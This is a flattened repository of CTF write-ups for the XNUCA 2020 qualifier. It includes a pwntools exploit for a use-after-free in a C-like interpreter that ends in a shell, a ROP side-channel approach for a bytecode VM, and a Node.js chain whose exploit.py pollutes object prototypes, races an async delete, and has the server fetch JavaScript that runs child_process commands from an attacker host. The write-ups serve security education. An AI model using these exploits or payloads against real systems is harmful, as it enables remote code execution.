├── .gitignore ├── Misc └── README.md ├── Pwn ├── README.md ├── ParseC │ ├── exp.try │ ├── ltof.c │ ├── example │ ├── README.md │ ├── exp.py │ └── ParseC.c ├── vm │ ├── README.md │ ├── exp.py │ └── vm.cpp └── babyv8 │ └── writeup.md ├── Web ├── README.md ├── oooooooldjs │ ├── flag │ ├── assets │ │ ├── image-20201020094036770.png │ │ ├── image-20201020094231698.png │ │ ├── image-20201020094355565.png │ │ ├── image-20201020105334264.png │ │ ├── image-20201020105858277.png │ │ ├── image-20201020193755595.png │ │ ├── image-20201021153841158.png │ │ ├── image-20201021154057066.png │ │ ├── image-20201021154113530.png │ │ ├── image-20201021161801834.png │ │ ├── image-20201021161844871.png │ │ ├── image-20201021165346469.png │ │ ├── image-20201021165423128.png │ │ ├── image-20201021170203023.png │ │ ├── image-20201021170306875.png │ │ ├── image-20201021170913887.png │ │ ├── image-20201021175549022.png │ │ ├── image-20201021195950003.png │ │ ├── image-20201022095119384.png │ │ ├── image-20201022095849061.png │ │ ├── image-20201022095951448.png │ │ ├── image-20201022104530048.png │ │ ├── image-20201022121557273.png │ │ ├── image-20201022131845955.png │ │ ├── image-20201022151504944.png │ │ ├── image-20201023165559016.png │ │ └── image-20201023193659917.png │ ├── src │ │ ├── config.js │ │ ├── package.json │ │ ├── util.js │ │ ├── entity.js │ │ ├── app.js │ │ └── package-lock.json │ ├── Dockerfile │ ├── cmd.js │ ├── README.md │ ├── exploit.py │ └── writeup.md ├── workdeep │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── 5.png │ └── README.md ├── easyphp_revenge │ ├── 1.png │ └── README.md └── easyjava │ ├── xnuca-2020-easyjava │ ├── image-20201102151033808.png │ ├── image-20201102151347649.png │ ├── image-20201102151503000.png │ ├── image-20201102152300777.png │ ├── image-20201102152617085.png │ ├── image-20201102153339331.png │ ├── image-20201102154259827.png │ ├── image-20201102155203496.png │ ├── image-20201102155335403.png │ ├── image-20201102155950724.png │ └── image-20201102164333062.png │ ├── README.md │ └── ImageUtil.java ├── Crypto ├── README.md ├── weird │ └── weird_writeup.ipynb ├── imposter │ └── imposter_writeup.ipynb └── diamond │ └── diamond_writeup.ipynb ├── Reverse └── README.md ├── README.md └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /Misc/README.md: -------------------------------------------------------------------------------- 1 | writeups for Misc -------------------------------------------------------------------------------- /Pwn/README.md: -------------------------------------------------------------------------------- 1 | writeups for Pwn -------------------------------------------------------------------------------- /Web/README.md: -------------------------------------------------------------------------------- 1 | writeups for Web -------------------------------------------------------------------------------- /Crypto/README.md: -------------------------------------------------------------------------------- 1 | writeups for Crypto -------------------------------------------------------------------------------- /Reverse/README.md: -------------------------------------------------------------------------------- 1 | writeups for Reverse -------------------------------------------------------------------------------- /Web/oooooooldjs/flag: -------------------------------------------------------------------------------- 1 | g00dg00dstudyddup 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # XNUCA2020Qualifier 2 | writeups for XNUCA2020Qualifier 3 | -------------------------------------------------------------------------------- /Pwn/ParseC/exp.try: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Pwn/ParseC/exp.try -------------------------------------------------------------------------------- /Web/workdeep/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/workdeep/1.png -------------------------------------------------------------------------------- /Web/workdeep/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/workdeep/2.png -------------------------------------------------------------------------------- /Web/workdeep/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/workdeep/3.png -------------------------------------------------------------------------------- /Web/workdeep/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/workdeep/4.png -------------------------------------------------------------------------------- /Web/workdeep/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/workdeep/5.png -------------------------------------------------------------------------------- /Web/easyphp_revenge/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyphp_revenge/1.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201020094036770.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201020094036770.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201020094231698.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201020094231698.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201020094355565.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201020094355565.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201020105334264.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201020105334264.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201020105858277.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201020105858277.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201020193755595.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201020193755595.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021153841158.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021153841158.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021154057066.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021154057066.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021154113530.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021154113530.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021161801834.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021161801834.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021161844871.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021161844871.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021165346469.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021165346469.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021165423128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021165423128.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021170203023.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021170203023.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021170306875.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021170306875.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021170913887.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021170913887.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021175549022.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021175549022.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201021195950003.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201021195950003.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201022095119384.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201022095119384.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201022095849061.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201022095849061.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201022095951448.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201022095951448.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201022104530048.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201022104530048.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201022121557273.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201022121557273.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201022131845955.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201022131845955.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201022151504944.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201022151504944.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201023165559016.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201023165559016.png -------------------------------------------------------------------------------- /Web/oooooooldjs/assets/image-20201023193659917.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/oooooooldjs/assets/image-20201023193659917.png -------------------------------------------------------------------------------- /Pwn/ParseC/ltof.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(){ 5 | double t; 6 | scanf("%llu",&t); 7 | printf("%.1022lf\n",t); 8 | return 0; 9 | } -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102151033808.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102151033808.png -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102151347649.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102151347649.png -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102151503000.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102151503000.png -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102152300777.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102152300777.png -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102152617085.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102152617085.png -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102153339331.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102153339331.png -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102154259827.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102154259827.png -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102155203496.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102155203496.png -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102155335403.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102155335403.png -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102155950724.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102155950724.png -------------------------------------------------------------------------------- /Web/easyjava/xnuca-2020-easyjava/image-20201102164333062.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NeSE-Team/XNUCA2020Qualifier/HEAD/Web/easyjava/xnuca-2020-easyjava/image-20201102164333062.png -------------------------------------------------------------------------------- /Web/oooooooldjs/src/config.js: -------------------------------------------------------------------------------- 1 | 2 | const port = 8888 3 | const originUrl = `http://localhost:${port}` 4 | const host = new URL(originUrl).host 5 | exports.host = host 6 | exports.originUrl = originUrl 7 | exports.port = port -------------------------------------------------------------------------------- /Web/oooooooldjs/src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "oooooooldjs", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "app.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "mads", 10 | "license": "ISC", 11 | "dependencies": { 12 | "express": "^4.17.1", 13 | "express-validator": "^6.6.0", 14 | "jquery": "^3.5.1", 15 | "jsdom": "^16.4.0" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /Web/oooooooldjs/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN sed -i s@/archive.ubuntu.com/@/mirrors.aliyun.com/@g /etc/apt/sources.list 4 | RUN apt-get clean && apt-get update && apt-get install -y curl \ 5 | && curl -sL https://deb.nodesource.com/setup_10.x | bash - \ 6 | && apt-get install -y nodejs 7 | COPY src/ /app/ 8 | COPY flag /flag 9 | RUN chmod 400 /flag && cp /bin/cat /catforflag && chmod u+s /catforflag && cd /app/ && npm install 10 | USER nobody 11 | ENTRYPOINT ["node", "/app/app.js"] -------------------------------------------------------------------------------- /Pwn/ParseC/example: -------------------------------------------------------------------------------- 1 | // Fibonacci sequence 2 | func fun{ 3 | if(x <= 2){ 4 | return(1); 5 | } 6 | y = 0; 7 | x = x - 1; 8 | y = fun(x); 9 | x = x - 1; 10 | return(y + fun(x)); 11 | }; 12 | 13 | // save the Fibonacci sequence of 1 to 15 in an array 14 | array arr(15); 15 | x = 1; 16 | while( x <= 15 ){ 17 | arr[x - 1] = fun(x); 18 | x = 1 + x; 19 | } 20 | 21 | puts("Fibonacci sequence:"); 22 | // print the Fibonacci sequence of 1 to 15 23 | i = 0; 24 | while(i < 15){ 25 | print(arr[i]); 26 | i=i+1; 27 | } 28 | -------------------------------------------------------------------------------- /Pwn/vm/README.md: -------------------------------------------------------------------------------- 1 | # vm writeup 2 | 3 | - ubuntu 18.04 4 | - c++编写的字节码解释器,定义了一个虚拟的栈结构,有8个常规寄存器以及rsp、rbp、rip三个特殊寄存器。定义并实现了虚拟的栈空间上的push, pop, mov, add, call, ret, jmp等操作,读入0x1000长度的字节码,进行命令的合法性和安全性检查,最后运行命令 5 | - 在安全性检查中主要对栈操作的边界进行了检查,防止越界的栈操作。在检查中遇到jmp命令没有进行跳转,可以用类似`jmp $+4; push r[0]; pop r[0]`的方式绕过安全性检查实现越界读写。 6 | - 栈空间分布在堆上,call和ret命令可以进行malloc和free。 7 | - 存在一个seccomp沙箱,只允许read, open, exit, exit_group四项系统调用,需要侧信道爆破flag。我们写ROP进行侧信道,open read读取flag之后进行逐字节比较,比较成功(或失败)时调用read阻塞,通过p.recv(1,timeout=2)和EOFError信号判断是否比较成功。 8 | - libc中的environ变量可以获取栈地址,通过命令集中的`mov qword ptr[reg1],reg2`实现任意地址写进行ROP。 -------------------------------------------------------------------------------- /Web/oooooooldjs/src/util.js: -------------------------------------------------------------------------------- 1 | const {originUrl} = require("./config") 2 | 3 | const { 4 | JSDOM 5 | } = require("jsdom");; 6 | const { 7 | window 8 | } = new JSDOM(``, { 9 | url: originUrl, 10 | runScripts: "dangerously" 11 | }); 12 | // server side `$` XD 13 | const $ = require('jquery')(window); 14 | 15 | const requests = async (url, method) => { 16 | let result = "" 17 | try { 18 | result = await $.ajax({ 19 | url: url, 20 | type: method, 21 | }) 22 | } catch (err) { 23 | console.log("[x] errors") 24 | console.log(err) 25 | result = { 26 | data: "" 27 | } 28 | } 29 | 30 | return result.data 31 | } 32 | 33 | exports.requests = requests 34 | -------------------------------------------------------------------------------- /Pwn/ParseC/README.md: -------------------------------------------------------------------------------- 1 | # ParseC writeup 2 | 3 | - 类C代码解释器 4 | - `./ParseC example` 5 | - 实现了基本的数学运算和C语法。支持char、Array、double、string四个变量,支持函数定义,支持puts(str)、print(double)、read(double)三个自带函数。 6 | - 漏洞是对string变量的引用计数问题,string变量内容存储在堆上,在对两个字符串变量`a=b`进行赋值操作时,直接将堆指针进行了复制,使a,b的指针指向同一个地址,释放掉b的指针后造成了UAF。 7 | - free存在于对string变量的重新赋值操作中。 8 | - malloc存在于string变量和array变量的定义操作中。 9 | - 泄露libc地址后通过自带的read(double)函数进行写操作覆盖free\_hook,需要进行双精度浮点数的转换。 10 | - UAF劫持tcache后,覆盖free\_hook的方法有多种。 11 | - 定义array变量malloc到free\_hook附近,通过类似`read(array[i])`的方式覆盖free\_hook 12 | - `read("aaaaaaaaa")`,解析时会将aaaaaaa字符串malloc到free\_hook附近,然后进行read。这种方法在read之后会因为语法错误退出,退出时调用了`free(code)`,因此只需要提前在代码文件第一行写注释`//bin/sh`即可getshell。 13 | 14 | -------------------------------------------------------------------------------- /Web/oooooooldjs/cmd.js: -------------------------------------------------------------------------------- 1 | const express = require("express") 2 | const app = express() 3 | 4 | app.use((req, res, next) => { 5 | res.setHeader("Content-Type", "text/javascript") 6 | res.setHeader("Access-Control-Allow-Origin", "*") 7 | res.setHeader("Access-Control-Allow-Headers", "X-Requested-With, crossDomain") 8 | next() 9 | }) 10 | app.get("/linux", (_, res) => { 11 | res.send("global.process.mainModule.require('child_process').exec('touch /tmp/pwned');") 12 | }) 13 | 14 | app.get("/win", (_, res) => { 15 | res.send("this.constructor.constructor('return process.mainModule.require(\"child_process\").exec(\"calc\")')()") 16 | }) 17 | 18 | app.get("/macos", (_, res) => { 19 | res.send("this.constructor.constructor('return process.mainModule.require(\"child_process\").exec(\"open /System/Applications/Calculator.app\")')()") 20 | }) 21 | 22 | app.listen(89) -------------------------------------------------------------------------------- /Web/oooooooldjs/src/entity.js: -------------------------------------------------------------------------------- 1 | const { 2 | requests 3 | } = require('./util') 4 | 5 | class Data { 6 | constructor(id, block) { 7 | this.id = id 8 | this.block = block 9 | } 10 | } 11 | 12 | class DataRepository { 13 | constructor() { 14 | this.types = [] 15 | this.datas = [] 16 | } 17 | C(type, data) { 18 | this.types.push(type) 19 | this.datas.push(data) 20 | } 21 | U(id, data) { 22 | for (const index in this.datas) { 23 | if (this.datas[index].id === id) { 24 | if (this.types[index] === 'url') { 25 | // not allow to update url `block` 26 | return {} 27 | } else { 28 | this.datas[index] = data 29 | return data 30 | } 31 | 32 | } 33 | } 34 | } 35 | R(id) { 36 | for (const index in this.datas) { 37 | if (this.datas[index].id === id) { 38 | return [this.types[index], this.datas[index]] 39 | } 40 | } 41 | } 42 | D(id) { 43 | let di, dt 44 | for (const index in this.datas) { 45 | if (this.datas[index].id === id) { 46 | dt = this.types[index] 47 | this.types.splice(index, 1) 48 | di = index 49 | } 50 | } 51 | if (dt === 'url') { 52 | requests(this.datas[di].block, "DELETE").finally(() => { 53 | this.datas = this.datas.filter((value) => value.id !== id) 54 | }) 55 | } else { 56 | this.datas = this.datas.filter((value) => value.id !== id) 57 | } 58 | } 59 | } 60 | const dataRepo = new DataRepository() 61 | 62 | exports.Data = Data 63 | exports.DataRepository = DataRepository 64 | -------------------------------------------------------------------------------- /Pwn/ParseC/exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | import base64 4 | 5 | context.log_level = 'error' 6 | #context.log_level = 'debug' 7 | def connect(): 8 | if args.R: 9 | p = remote('123.57.4.93',34007) 10 | #p = remote('192.168.65.2',9999) 11 | #p = process('./ParseC_remote') 12 | else: 13 | p = process(argv = ['./ParseC','exp.try']) 14 | return p 15 | 16 | def brute(p): 17 | if args.R: 18 | p.recvuntil('-------------------------------------------------------\n') 19 | f = open('./exp.try','r') 20 | code = f.read() 21 | f.close() 22 | payload = base64.b64encode(code) 23 | p.sendline(payload) 24 | t = p.recvline()[:-1] 25 | main_arena = u64(t.ljust(8,'\x00')) 26 | libc_base = main_arena - 0x3ebca0 27 | log.info('libc_base : %s' % hex(libc_base)) 28 | main_arena = main_arena & 0xffff 29 | print('main_arena : %s' % hex(main_arena)) 30 | if main_arena != 0xaca0: 31 | raise Exception 32 | t = p.recvline().strip() 33 | main_arena = u64(t.ljust(8,'\x00')) 34 | log.info('main_arena : %s' % hex(main_arena)) 35 | else: 36 | t = p.recvline()[:-1] 37 | main_arena = u64(t.ljust(8,'\x00')) 38 | libc_base = main_arena - 0x3ebca0 39 | log.info('libc_base : %s' % hex(libc_base)) 40 | main_arena = main_arena & 0xffff 41 | print('main_arena : %s' % hex(main_arena)) 42 | if main_arena != 0xaca0: 43 | raise Exception 44 | t = p.recvline().strip() 45 | main_arena = u64(t.ljust(8,'\x00')) 46 | log.info('main_arena : %s' % hex(main_arena)) 47 | return libc_base 48 | def ltof(a): 49 | t = struct.pack(" 有限的原型链污染 8 | 9 | entity.js -> 异步产生的bug 10 | 11 | utils.js -> jQuery.js RCE gadget 12 | 13 | 下面是简易版wp。详细分析见[这里](./writeup.md) 14 | 15 | ## 预期解 16 | 17 | ### #1 原型链污染 18 | 19 | 通过任意一个POST方式的API发送一个带下面字段的请求,污染crossDomain为空字符串`''` 20 | 21 | ``` 22 | {"\".constructor.prototype[\"crossDomain": "1 "} 23 | ``` 24 | 25 | 结果 26 | 27 | ```javascript 28 | Object.prototype.crossDomain = '' 29 | ``` 30 | 31 | ### #2 异步逻辑错误篡改block的type 32 | 33 | DataRepository类的D方法会进行blocks的递归删除, 34 | 35 | ```javascript 36 | D(id) { 37 | let di, dt 38 | for (const index in this.datas) { 39 | if (this.datas[index].id === id) { 40 | dt = this.types[index] 41 | this.types.splice(index, 1) 42 | di = index 43 | } 44 | } 45 | if (dt === 'url') { 46 | requests(this.datas[di].block, "DELETE").finally(() => { 47 | this.datas = this.datas.filter((value) => value.id !== id) 48 | }) 49 | } else { 50 | this.datas = this.datas.filter((value) => value.id !== id) 51 | } 52 | } 53 | ``` 54 | 55 | 但是删除的时候是先pop了`this.types`中的内容,然后把`this.datas`内容的删除放到了一个异步函数`requests`中去。由于异步函数的特性,导致了两个数组的信息存在一个时间差内的不一致,确切的说就是`this.datas`数组在某段时间内比`this.types`长一点。第二个考点就是要抓住这个时间窗口,构造一段数据使得本来是`text`类型的内容,从`this.types`中取出来的类型确实`url`,从而控制`requests`函数的url参数。 56 | 57 | 具体的构造方式就是在`this.datas`比`this.types`长n个的这个时间段内,先POST 1个`text`类型的数据,内容是我们自己的url,然后POST n个url类型的数据,内容符合要求即可。这时我们第一次POST的`text`类型的url,从`this.types`取出来就是`url`。 58 | 59 | ### #3 触发jQuery中的RCE Gadget 60 | 61 | 访问我们上一步POST的那个`text`类型的数据,让题目访问我们自己的url。url指向的返回头和内容如下: 62 | 63 | ```bash 64 | HTTP/1.1 200 OK 65 | Content-Type: text/javascript; charset=utf-8 66 | Access-Control-Allow-Origin: * 67 | Access-Control-Allow-Headers: X-Requested-With, crossDomain 68 | Content-Length: 133 69 | 70 | this.constructor.constructor('return process.mainModule.require("child_process").exec("open /System/Applications/Calculator.app")')() 71 | ``` 72 | 73 | 成功弹出`calculator!` 74 | 75 | image-20201020193755595 76 | 77 | ## 非预期 78 | 79 | 看了下wp,0ops的师傅竟然做到了任意原型链污染(惊 80 | 81 | 由于手贱加了个json中间件,允许传入object,导致可以污染任意值,payload如下 82 | 83 | ``` 84 | {"block": {"__proto__": {"a": 123}}, "block\"].__proto__[\"a": 123} 85 | ``` 86 | 87 | 相当于劫持了value,具体师傅们自己分析啦。 88 | 89 | 师傅们tql 90 | 91 | ## 总结 92 | 93 | 原型链污染漏洞的强大就不必多说了,各位师傅的gadget也是五花八门让小弟学到了很多。我想说的是虽然各种基础库的原型链污染漏洞层出不穷值得关注,但是依赖于基础库的上层模块暴露出来的攻击面也同样值得注意。 94 | -------------------------------------------------------------------------------- /Web/oooooooldjs/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests, time 3 | 4 | url = "http://localhost:8888" 5 | urlApi = url + "/data" 6 | urlEvilJs = "http://[VPS]/macos" 7 | urlLoopback = "http://localhost:8888" 8 | 9 | data0 = { 10 | "\".constructor.prototype[\"crossDomain": "deadbeef " 11 | } 12 | data1 = { 13 | "block": urlEvilJs 14 | } 15 | data2 = { 16 | "type": "url", 17 | "block": urlLoopback 18 | } 19 | 20 | def addChain(num): 21 | res = requests.post(urlApi, data={"type": "text", "block": "hello"}) 22 | print(res.text) 23 | uuid = res.json()['data']['id'] 24 | for i in range(num): 25 | res = requests.post(urlApi, data={"type": "url", "block": urlLoopback + "/data/" + uuid}) 26 | uuid = res.json()['data']['id'] 27 | return uuid 28 | 29 | def pollution(): 30 | requests.post(urlApi, data=data0) 31 | print('[*] prototype pollution') 32 | 33 | def train(x, y): 34 | xx = x 35 | yy = y 36 | epochs = 0 37 | while True: 38 | print("[*] epochs {}".format(epochs)) 39 | uuid = addChain(xx) 40 | requests.delete(urlApi + '/' + uuid) 41 | res = requests.post(urlApi, data = data1) 42 | uuid = res.json()['data']['id'] 43 | for i in range(yy): 44 | requests.post(urlApi, data = data2) 45 | res = requests.get(url) 46 | tlen = len(res.json()['data']['types']) 47 | dlen = len(res.json()['data']['datas']) 48 | print(res.json()) 49 | print("[*] tlen={}, dlen={}".format(tlen, dlen)) 50 | if tlen == dlen: 51 | xx += 1 52 | elif ( dlen - tlen ) > 4: 53 | yy += 1 54 | elif ( dlen - tlen ) <= 3: 55 | break 56 | elif tlen > dlen: 57 | # never happen 58 | pass 59 | print("[*] x={}, y={}".format(xx, yy)) 60 | epochs += 1 61 | time.sleep(y+2) 62 | print("[*] got it! x={}, y={}".format(xx,yy)) 63 | return xx,yy 64 | 65 | def exploitChain(uuid, y): 66 | requests.delete(urlApi + "/" + uuid) 67 | res = requests.post(urlApi, data = data1) 68 | uuid = res.json()['data']['id'] 69 | print('[*] uuid: ' + uuid) 70 | for i in range(y): 71 | requests.post(urlApi, data = data2) 72 | res = requests.get(urlApi + "/" + uuid) 73 | return res.json() 74 | 75 | def exploit(x,y): 76 | times = 0 77 | 78 | pollution() 79 | while True: 80 | print("[*] try {} time".format(times + 1)) 81 | uuid = addChain(x) 82 | res = exploitChain(uuid, y) 83 | if res['success'] and not 'data' in res.keys(): 84 | print("[*] evil dragon!") 85 | break 86 | times += 1 87 | time.sleep(y+2) 88 | 89 | if __name__ == "__main__": 90 | # y >= 3 91 | x,y = train(200, 3) 92 | exploit(x,y) 93 | -------------------------------------------------------------------------------- /Web/easyphp_revenge/README.md: -------------------------------------------------------------------------------- 1 | # easyphp_revenge 2 | 出这个题目主要是去年在做tokyowestern的ctf时找到了一个很有意思的恶意文件,windows defender处理它的行为不是之前已知的删除整个文件,而是会删除从这个恶意payload开始到文件末尾的文件,也就是部分删除。大概的场景我的猜测是,有些恶意文件的行为是污染整个文件目录之类,如果删除所有存在恶意payload的文件会对系统产生比较大的影响,因此只删除了部分文件,当然这纯粹是我瞎猜的。 3 | 4 | ## windows defender 5 | 因为只允许创建`.htaccess`文件,因此需要想办法去除文件末尾增加的`\nhope no unintended\nhope no unintended\nhope no unintended\n`字符串。 6 | 直接给出payload,自行将`ixrame`换成`iframe` 7 | ``` 8 | 9 | ``` 10 | 之所以对文件内容的检查比较严格,是因为我以为选手们看到windows环境会立马想到利用defender,因此避免题目放出来就被立刻做掉的情况,我把payload的可用范围限制的比较死。这个payload在virustotal上面下载windows的病毒样本应该是能找到的,毕竟当时我就是那么发现的它。 11 | 还有一点就是我在最近测试的时候发现在windows10 2004上这个payload的行为已经改变成删除整个文件了,但是在windows 